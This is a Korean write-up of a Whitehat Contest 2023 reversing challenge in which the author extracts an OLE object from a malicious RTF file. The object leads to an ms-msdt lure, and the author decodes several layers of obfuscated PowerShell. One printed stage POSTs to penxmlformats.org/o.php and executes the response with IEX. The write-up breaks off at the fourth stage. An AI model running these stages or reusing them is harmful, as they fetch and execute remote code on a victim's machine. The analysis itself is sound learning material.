Whitehat Contest 2023 Write up
rev - [ rev 3 - Fall in love ]
주어진 파일은 rtf(Rich Text Format) 형식을 갖고 있다. 그래서 해당 파일의 확장자를 rtf로 바꿔주고 열어봤는데 뭔가가 있는 것 같은데 직접 실행되지는 않는다.
파일 추출
RTF 파일을 리버싱하는 건 처음이라 해당 자료를 찾아 봤는데, RTF 문서에서 실행파일 등을 추출하는 방법을 적어놓을 글을 봤다.
해당 글에 따르면 objdata와 result 사이의 데이터가 문서에 숨겨진 파일이라고 한다.
그래서 해당 데이터를 추출하고 파일로 만드는 코드를 작성했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import binascii
binary = b''
with open('./fallinlove', 'r') as f:
data = f.readlines()
tmp = ''
for i in data:
tmp += i.strip()
data = ''.join(tmp)
start = data.find('objdata') + len('objdata')
end = data.find('}{\\result')
binary = data[start+1:end]
binary = binascii.unhexlify(binary)
with open('./binary', 'wb') as f:
f.write(binary)
파일로 만들고 hexdump로 찍어 보니 아래와 같이 뭔가 형식이 있는 파일이 나왔다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
00000000 01 05 00 00 02 00 00 00 09 00 00 00 4f 4c 45 32 |............OLE2|
00000010 4c 69 6e 6b 00 00 00 00 00 00 00 00 00 00 0c 00 |Link............|
00000020 00 d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 3e 00 03 00 fe ff 09 |.........>......|
00000040 00 06 00 00 00 00 00 00 00 00 00 00 00 01 00 00 |................|
00000050 00 01 00 00 00 00 00 00 00 00 10 00 00 02 00 00 |................|
00000060 00 01 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 |................|
00000070 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
00000080 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
00000220 ff fd ff ff ff fe ff ff ff fe ff ff ff 04 00 00 |................|
00000230 00 fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
00000240 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
00000420 ff 52 00 6f 00 6f 00 74 00 20 00 45 00 6e 00 74 |.R.o.o.t. .E.n.t|
00000430 00 72 00 79 00 00 00 00 00 00 00 00 00 00 00 00 |.r.y............|
00000440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000460 00 16 00 05 00 ff ff ff ff ff ff ff ff 02 00 00 |................|
00000470 00 0c 6a d9 88 92 f1 d4 11 a6 5f 00 40 96 32 51 |..j......._.@.2Q|
00000480 e5 00 00 00 00 00 00 00 00 00 00 00 00 40 e8 4f |.............@.O|
00000490 40 66 7f d8 01 03 00 00 00 c0 02 00 00 00 00 00 |@f..............|
000004a0 00 01 00 4f 00 6c 00 65 00 00 00 00 00 00 00 00 |...O.l.e........|
000004b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000004e0 00 0a 00 02 00 ff ff ff ff ff ff ff ff ff ff ff |................|
000004f0 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000510 00 00 00 00 00 00 00 00 00 80 01 00 00 00 00 00 |................|
00000520 00 03 00 4f 00 62 00 6a 00 49 00 6e 00 66 00 6f |...O.b.j.I.n.f.o|
00000530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000560 00 12 00 02 01 01 00 00 00 03 00 00 00 ff ff ff |................|
00000570 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000590 00 00 00 00 00 06 00 00 00 06 00 00 00 00 00 00 |................|
000005a0 00 03 00 4c 00 69 00 6e 00 6b 00 49 00 6e 00 66 |...L.i.n.k.I.n.f|
000005b0 00 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.o..............|
000005c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000005e0 00 14 00 02 00 ff ff ff ff ff ff ff ff ff ff ff |................|
000005f0 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000610 00 00 00 00 00 07 00 00 00 40 01 00 00 00 00 00 |.........@......|
00000620 00 01 00 00 00 02 00 00 00 03 00 00 00 04 00 00 |................|
00000630 00 05 00 00 00 fe ff ff ff fe ff ff ff 08 00 00 |................|
00000640 00 09 00 00 00 0a 00 00 00 fe ff ff ff ff ff ff |................|
00000650 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
00000820 ff 01 00 00 02 09 00 00 00 01 00 00 00 00 00 00 |................|
00000830 00 2a 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 |.*..............|
00000840 00 00 00 00 46 02 00 00 00 20 00 0c 00 00 00 5f |....F.... ....._|
00000850 31 37 31 35 34 39 31 37 35 35 00 00 00 00 00 93 |1715491755......|
00000860 00 00 00 09 03 00 00 00 00 00 00 c0 00 00 00 00 |................|
00000870 00 00 46 02 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c |..F.......y.....|
00000880 82 00 aa 00 4b a9 0b 4c 00 00 00 68 00 74 00 74 |....K..L...h.t.t|
00000890 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 65 00 6e |.p.s.:././.p.e.n|
000008a0 00 78 00 6d 00 6c 00 66 00 6f 00 72 00 6d 00 61 |.x.m.l.f.o.r.m.a|
000008b0 00 74 00 73 00 2e 00 6f 00 72 00 67 00 00 00 79 |.t.s...o.r.g...y|
000008c0 58 81 f4 3b 1d 7f 48 af 2c 82 5d c4 85 27 63 00 |X..;..H.,.]..'c.|
000008d0 00 00 00 a5 ab 00 03 04 03 00 00 00 00 00 00 c0 |................|
000008e0 00 00 00 00 00 00 46 02 00 00 00 20 00 01 00 00 |......F.... ....|
000008f0 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 |................|
00000900 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 |................|
00000910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000009a0 00 10 00 03 00 01 00 00 00 00 00 00 00 00 00 00 |................|
000009b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000009e0 00 23 00 68 74 74 70 73 3a 2f 2f 70 65 6e 78 6d |.#.https://penxm|
000009f0 6c 66 6f 72 6d 61 74 73 2e 6f 72 67 00 00 bb bb |lformats.org....|
00000a00 cc cc 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 |.. .h.t.t.p.s.:.|
00000a10 2f 00 2f 00 70 00 65 00 6e 00 78 00 6d 00 6c 00 |/./.p.e.n.x.m.l.|
00000a20 66 00 6f 00 72 00 6d 00 61 00 74 00 73 00 2e 00 |f.o.r.m.a.t.s...|
00000a30 6f 00 72 00 67 00 00 00 00 00 00 00 00 00 00 00 |o.r.g...........|
00000a40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000c20 00 01 05 00 00 00 00 00 00 |.........|
위의 내용에서 https://penxmlformats.org 라는 링크가 적혀있는데 이 부분이 수상하여 직접 브라우저로 접속해 보았더니, “Microsoft 지원 진단 마법사를 여시겠습니까?” 라는 알림창이 떴다.
첫 번째 스크립트
해당 사이트의 소스코드를 보니 아래처럼 ms-msdt protocol scheme을 통해 뭔가를 실행한다는 것을 알 수 있다.
해당 코드에서 base64으로 인코딩 되어 있는 부분을 디코딩 해보았다.
1
& ( $pShOmE[21]+$pShOme[30]+'x')(NeW-OBjEct Io.COmpressION.DeFlAtEsTREam( [sysTem.IO.MemoRysTrEAm] [SYSTeM.conVert]::frOMbaSe64stRing( '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'), [iO.coMPReSSioN.coMprESSIonmODe]::dECompReSS)| FOrEAcH{ NeW-OBjEct IO.sTreAmrEADER($_,[SyStEM.TeXt.encOdiNG]::ASciI )} ).rEADToend( )
위의 스크립트에서도 base64로 인코딩 된 부분이 있어 똑같이 디코딩 해주었지만 별다른 정보를 얻을 수 없었다.
필자는 Powershell 코드는 잘 모르지만 위에서 ms-msdt를 통해 스크립트를 실행하려고 하는 것도 그렇고, 스크립트가 뭔가 Powershell 스크립트 같기도 해서 해당 스크립트를 Powershell에서 돌려보기로 했다.
그대로 복사 붙여넣기를 하면 오류가 나는데 IEX가 문제였다.($pShOmE[21]+$pShOme[30]+'x' )
- IEX(Invoke Expression)
- 지정된 문자열을 명령으로 실행 및 결과를 반환한다.
따라서 IEX 뒤에 있는 부분이 어떠한 명령을 실행하는 문자열일 것이라고 생각하여 IEX를 제외하고 나머지 부분을 실행시켜 보았다.
1
(NeW-OBjEct Io.COmpressION.DeFlAtEsTREam( [sysTem.IO.MemoRysTrEAm] [SYSTeM.conVert]::frOMbaSe64stRing( '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'), [iO.coMPReSSioN.coMprESSIonmODe]::dECompReSS)| FOrEAcH{ NeW-OBjEct IO.sTreAmrEADER($_,[SyStEM.TeXt.encOdiNG]::ASciI )} ).rEADToend( )
두 번째 스크립트
첫 번째 스크립트를 실행시키고 나면 아래처럼 또 길다란 스크립트가 나온다.
두 번째 스크립트도 똑같이 실행을 시켰다
- (가장 맨 끝에 있는
. ( ([StrinG]$vErbOsEPreFErEnCe)[1,3]+'X'-Join'')부분이 IEX다. 동일하게 IEX 부분은 제외하고 실행시키면 된다.)
1
([RuntIMe.INTEroPsERviCEs.MARshaL]::([RuNtIME.INtErOPseRVICes.mARSHal].GetmEmbERS()[1].Name).InvOkE( [rUntIme.intErOpSErvicEs.mARshAl]::SECUREsTRIngtOGLoBALallOCANSi($('76492d1116743f0423413b16050a5345MgB8AGQAVwBVAEEAUAAvAG8AQQA0AFYAVwBTAFUANABXAFcAcwBRAEUAdwBlAHcAPQA9AHwAMAAxADMAZQBiAGMAZQBhAGUAZgA4ADcAMABkADEAOQA3ADUANwAxAGQAMgA0ADUANABkAGIANQBhADUANABlADIANwBjADMAMQA1ADkAMgBlADgAYQBiAGYAYgA2AGIANgA2ADAAMwBjADYAOABiADMAZQBhADgANABjADQAZAA5ADUAZQAyADkAOQAwADYAMQAyAGYANgA2AGMAZgAzAGQAOABjAGMAYQBmAGMAMwAwADYAZQA0ADUAYwAwADMANwBkADEAMQBiAGMAMQAzADgANgBiADgAYwA4ADAAYQBjAGMANwBhADkANQAwADgAYQBjADgAYgBlADgAOQA0ADMAZAA4AGUANwA5AGQAYQBmADUAMgA4ADUAMgBjAGEAOQAzADQAOAA4ADMAZgAwAGQAZQBlAGUAZQA0ADAAOQAyADMAZQA0ADgANABiADcANwA3ADAAYQAxAGEAZQA3ADUAMwBkADcAOAAxADEAMgA5ADMAZgAxADEANgBjADAANgAxAGYAMQA5AGUAMwBhADAAYwBkAGEAOQA3ADkAZAA2ADMAOAA2AGMAMgBjADQAZABhAGUAZgBjADQAZAA0ADAAOAAxAGMAMwA0ADMAYQAwADAAYgAyAGMAZAA3ADEAMgAwADcAMgAyADEAZAA5AGYAMABhADAANwBlAGMAOQA0ADEAYgA5AGMAYQBjADkAYQBjADgAMAAzAGUAYQBiADAAZABhAGQAMABhADcAYgBjAGMANwBiADUAYgAzAGUANQA0ADcAOQAzAGEANgA4AGEAZgA5ADcAZgAyADQANwA3ADkAYwAyADIANAA3AGYAMgAzADYAMwA0ADcAMgBlADUANwBhADgANgBkAGIAMQA3AGYANwBiAGEANQAzADIAMgA5ADAANgBkADUAYQBmADEANgBlAGQAZgA1ADAANQAyADgAZAAwADEAMABlAGEAZgA4ADMAYQA3AGUANAA1ADYANwBlADEAOAA2ADQAZAA1AGQAMQA0ADkAMgAxADkANAAyAGYANQBmAGQAZQBmADIANgAyADcANgBiAGEANgBlADEAYQA0ADQAZgAzAGMAMAAzADcAOAAxADMANgAzAGEAMAA3AGYAZQAyAGQAMwBmAGYAZAA5AGYANwBmAGIAZgBjAGYAMAAwADEAMABjADQANgA0ADEAYgBlAGIAZgA4ADQAMQAxAGMAMgA2ADAAZAAwADcANQBmADYAYgAyAGEANwA1ADcANABlADkANAAzAGUAZAAwADgANwAyADYAMgAwAGEAMQBiADMANAAyAGIAZgBhAGUANAAxADAAMAAyAGUANwA4ADUAMgBmAGEAMQBjADUAYgA0ADEANQBmADQAZQBlADQAMwA5ADQAMwAwAGIAYQAxADcANgBiAGYAZAAyADYANwBmADkANQBmAGIAZAA3AGQAZQBkAGQAYQAwAGIAZQAyADgANgAwADUAMgA5ADkAZQAzAGMANwBiAGIAZQA5ADUANwBiADAAZgBmAGYANgBjAGUAYQA4ADAANgBmADIAMwAwAGIAYwBhADQANABmADUAYQA0AGQAYgBiADQAYgBkADAAMABiADIAYQBhAGYAMgBhAGEAMwA0ADgAOAA5ADgAOAA4ADAAZAAxADIAYQAyADAAYwBhAGIANAA5AGQANQBiADMAMQA1AGQAZQA4ADUAZgA4ADYAZQBlAGQAOQAyAGYANQA3ADIANAAxADcANQBmAGIAMgBhADAANAAxAGUAYQAwAGEAZgA4ADYAMwBkADAANgBlAGQAOQBkADEAOQA5ADAAOQA1ADkANABlADcAZQAwAGUANgAxADUAYgBjAGIAYQBkADAAZQAzAGIAMQBiADEAMABkAGUANwBkADIANAA4ADcAZQA2ADUAZAA1AGEANgAzAGMANwBlADgAZgAwADgAZQA2AGIAYgA2ADkAOQBiADkAZAA4ADcAMwBhADAAYQA0ADMAMQBkADIAMwAyAGQAOABhAGEANwBmADMAMAAzADIANwA5AGUANABjADUAOQBlADgAOQBhADgAMwA5ADgAOQA5ADUANwAzAGQAMgAwADgAZQAzADYAMwA2AGQANAA2ADgAOAA0ADkAMgBhADgANAA1ADQAOQAwAGQAZQBhAGMANQBlAGEANAA0ADkAZAAxADMAMQAxAGEAOABiAGYAMwBlAGYANgBjADEAZQAwADAAYQBlADEAYgBlAGMAZgBiADgAYgBiAGIANgBmADEAMwBiADYAZgAyAGQANABiAGYAYgBhADkANgBkADAAMwBhADkANAA1ADUAMgBjADgAZgBlADUAZQAyAGQAMgBlAGQAMABjAGYAMwBiAGYAMQA1AGIANABhAGUAYQBkADUAMgBmAGYAYwBkAGYAOQA5AGIAZgAxADEAMQBlADYAZgA3AGEAMgBmADAAYQBjADcAOQA5ADEAYwBiAGUANgBhAGIANwBlAGQAYgA4ADAAYQBlAGEAZQAwADkAMQBjAGQAYwBjADcAZAAwADMANABmADQAYQBlAGUANwA2ADIAOABlADcAZQBiADcANgBkADUANgAwAGUAYgA3AGQAMAA1ADkAOQAxADUAMAAwAGMAYQBjAGYANQA5ADgANwBiADEAMwAwAGYAYQBmADYAZgAxAGUAOABiADYAYwBjADIAMQA4AGQAOQA1ADEAZQBkADAANAAyADEAZABlAGIANgBmAGQAZgAxAGEAMAAxADEAYQBiADUAMABlADIAMABjAGQANQAzADkANgBiADcAZAA0AGUAYwAyADQAYwA3ADMAMgBlAGIANwA2ADUAOQA0AGUANABiADIAYgA1AGIANABhADEAYgAxAGYAMABhAGIAMQBkADcAZgA3ADMAYgBhADYAMgBmAGEAYgAzADMAOABhADIAYwA1AGMAZQBkADkANQBlADcAZQBmADQAMgA4AGYANAA4ADQANwA0ADMAMgBlADQAYwBlADYAZABkAGMANQA3AGMAYQBhAGIAYgAwAGUAMABmAGQAMAA1AGIAZAAxADkAYQA1ADEAZAAwAGUAMwBhADkAYgA2ADEAMgA4ADcAYQBhAGYAMwAzADYANQAxADIAOQBlADUANwA4ADMAYwA3AGIANwBjADUAYQBiAGUAOABjADUAMgBhAGQAYwAzADQAMABkADcANQAwADYAMAA3ADgAOABhADUAMABhADUAYgAzAGMAZABmAGMAOABiADIAYgBkADEAZgBmADIAMQAxADEAYwBiADEANwBhADcAOABiADQAYgBmAGMAYgA4ADQAYgA1ADkAYgA5AGQAOAA1ADgANgAxADAANwA2ADEAOABmAGQAMAAzADEANQBiADgAZQAzADMANgBjADcAYwA4ADIAOQAwAGMAZQBmADQAOAA0AGIAZQA1ADEAYwA0ADIAZgAxAGIAMgA5AGIAMQA3ADEAZQBiADgAMwBhADcANABlADcANgAxAGUANgBkADEAZABkADkANAA2ADAANwAxADEAYgBmADAANwA0AGIAYwA4ADcAZQBlADMAZQA4ADcAZQAzAGIAYQAyADEANQBlAGEAOQBhADgANQBiADIAZAAwADgANgAzAGUANwBmADIAOQBjADYANgBhADkAMwA5ADgAMgA0AGQAOQBkADIANgAzAGMAYQA1ADQAMgAyADQAOQA5AGEAYwAzAGIAYQBlADgAMwBkADMAMwA0AGEAMABhADMAYwBkAGUANgA4AGMANgA5ADcAYgBmAGYAMQAzAGIANQBiAGIAZQA4ADcAOQAzAGMAMgA2ADcANAA1ADAAYQA3ADAAMgBlADUAZABjADUAMAA3AGYAYwBhADkANwBmAGEANgA1ADIAZAA3ADMAMgA1AGYANAA1ADgAOQBlADQANQBlADgAOABjADQANQA4ADMAZgA2ADkANAA2AGUAMAA4ADUAMAAxADEAOAA2AGIAMQBlADkAYgBmAGEAYgBjADUAYwAwADgAYwBlADAAOQA4AGIAOQAzADcAYgA5ADMAOQA3ADcAYwA0ADQAYgBjADAAZgA5AGQAYQBlADEANwBlADMAMAAwAGUAZAAzAGQAYgBkADYAOQBhADEAOAA2AGEAMQAwAGMANgA5ADMAZgBmADEANgA4ADcAYQBkAGUAMgA4ADcANQBjAGIAZQA5ADQAMwBmADQAOABlADAAZQBhADcANQA1ADAAMABkADgAYQA4AGEANgBkAGIAMAAwADEANwBmAGIAYQBiADcAYgA=' | coNVerttO-SECUresTRING -kEy (194..225)) ) ) )|. ( ([StrinG]$vErbOsEPreFErEnCe)[1,3]+'X'-Join'')
세 번째 스크립트
두 번째 스크립트를 실행시키면, 아래와 같이 세 번째 스크립트가 출력된다.
아래의 스크립트를 보면 format에 맞게 문자열을 넣어주는 것을 알 수 있다.
코드를 해석해 보면 다음과 같다.
- POST method로
https://penxmlformats.org/o.php로 요청을 보낸다. User-Agent는K4T4L0G로 세팅한다.
1
${H}=&("{0}{2}{1}"-f 'New-Obj','t','ec') -ComObject Msxml2.XMLHTTP;${h}.open(("{0}{1}"-f 'PO','ST'),("{5}{7}{6}{8}{1}{4}{0}{3}{2}"-f'/',('at'+'s'),('ph'+'p'),'o.',('.or'+'g'),('ht'+'tp'),('pe'+'nxmlfo'),('s:/'+'/'),'rm'),${Fa`LsE});${H}.SetRequestHeader(("{2}{3}{1}{0}"-f('gen'+'t'),'A','U',('s'+'er-')), ("{2}{0}{1}" -f'L0','G',('K4T'+'4')));${h}.send();.("{1}{0}"-f'x','ie') ${h}.responseText;
코드 해석을 바탕으로 [https://penxmlformats.org/o.php](https://penxmlformats.org/o.php) 로 요청을 보내는 코드를 작성했다.
1
2
3
4
5
6
7
8
9
10
import requests
url = 'https://penxmlformats.org/o.php'
headers = {'User-Agent': 'K4T4L0G'}
res = requests.post(url, headers=headers)
print(res.headers)
print(res.status_code)
print(res.text)
네 번째 스크립트
위에서 작성한 코드를 실행시키면 Response body에 아래처럼 스크립트가 나온다.
아래의 스크립트도 마찬가지로 IEX를 빼고 나머지 부분을 실행시키면 결과가 출력된다.
1
